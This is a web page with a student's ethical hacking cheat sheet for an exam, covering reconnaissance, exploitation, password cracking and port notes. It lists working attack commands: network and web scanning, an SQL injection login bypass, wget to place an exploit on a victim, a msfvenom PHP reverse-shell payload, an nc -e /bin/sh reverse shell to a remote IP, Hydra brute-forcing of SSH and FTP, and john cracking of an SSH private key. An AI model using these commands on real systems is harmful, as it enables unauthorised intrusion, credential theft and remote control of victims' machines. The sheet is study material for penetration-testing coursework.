Show Menu
Cheatography

Ethical Hacking Cheat Sheet by

my first attempt in making a cheat sheet for my exam

Inform­ation Gathering | Enumer­ation

find the ip address and subnet
ip a
host discover
nmap -sn [ipv4]/24
services discovery
nmap -sT -sV -A -T5 -O -p1-65535 [ipv4]
dirb
dirb http:/­/[ipv4] [wordlist]
nikto
nikto -url http:/­/[ipv4]
look for users
enum4linux [ipv4]
view content 1
strings [filename]
view content 2
file [filename]

Exploi­tation | Post Exploi­tation

search exploits
search­sploit
syntax of scp
scp -p [port] "­use­r@i­p:/­[di­r]/­[fi­le]­" [dir]
inform­­ation about the device
uname -a
get the current user
whoami
get the uid of the user
id
ssh using private key
ssh -i id_rsa user@l­­oc­a­lhost
sql injection
‘ or 1=1# ‘ 1 or 1=1#
install exploit on victim
wget URL/fi­lename
compile exploit
gcc filename.c -o exploit
create a revers­e_shell php file
msfvenom -p php/me­ter­pre­ter­/re­ver­se_tcp LHOST=[IP] LPORT=4444 -f raw> revers­esh­ell.php
 

Hydra

-l
user
-L
username file
-p
password
-P
password file
-s
port
-f
Terminate program if pair login:pass is found
syntax for ssh
hydra -l user -p password 192.16­8.1.1 ssh
syntax for ftp
hydra -l user -p password 192.16­8.1.1 ftp

NC

nc [target ip] [target port]
listening to a specific ip and port
nc -e /bin/sh [IP] [Port]
listening to a specific ip and port with bash
 

Ports

ftp
20-21
ssh
22
http
80
Internet Relay chat [can be backdoor]
6667

john

changing id_rsa to john format
python /usr/s­har­e/j­ohn­/ss­h2j­ohn.py id_rsa > johnFormat
attempting to decrytp id_rsa john format
jhon johnformat
—wordl­ist­=”r­ock­you.txt”
adding the wordlist
—forma­t=”NT”
choosing the format
—single
set the single crack mode
--incr­emental
set increm­ental mode
—show
use to cracked password file to be shown
—rules
word mangling rules
single crack mode
quick, guesses the password, use for common username and password
wordlist mode
text files needed with list of passwords [dicti­onary attack]
increm­ental mode
brute-­force, time consuming
 

Comments

No comments yet. Add yours below!

Add a Comment

Your Comment

Please enter your name.

    Please enter your email address

      Please enter your Comment.

          Related Cheat Sheets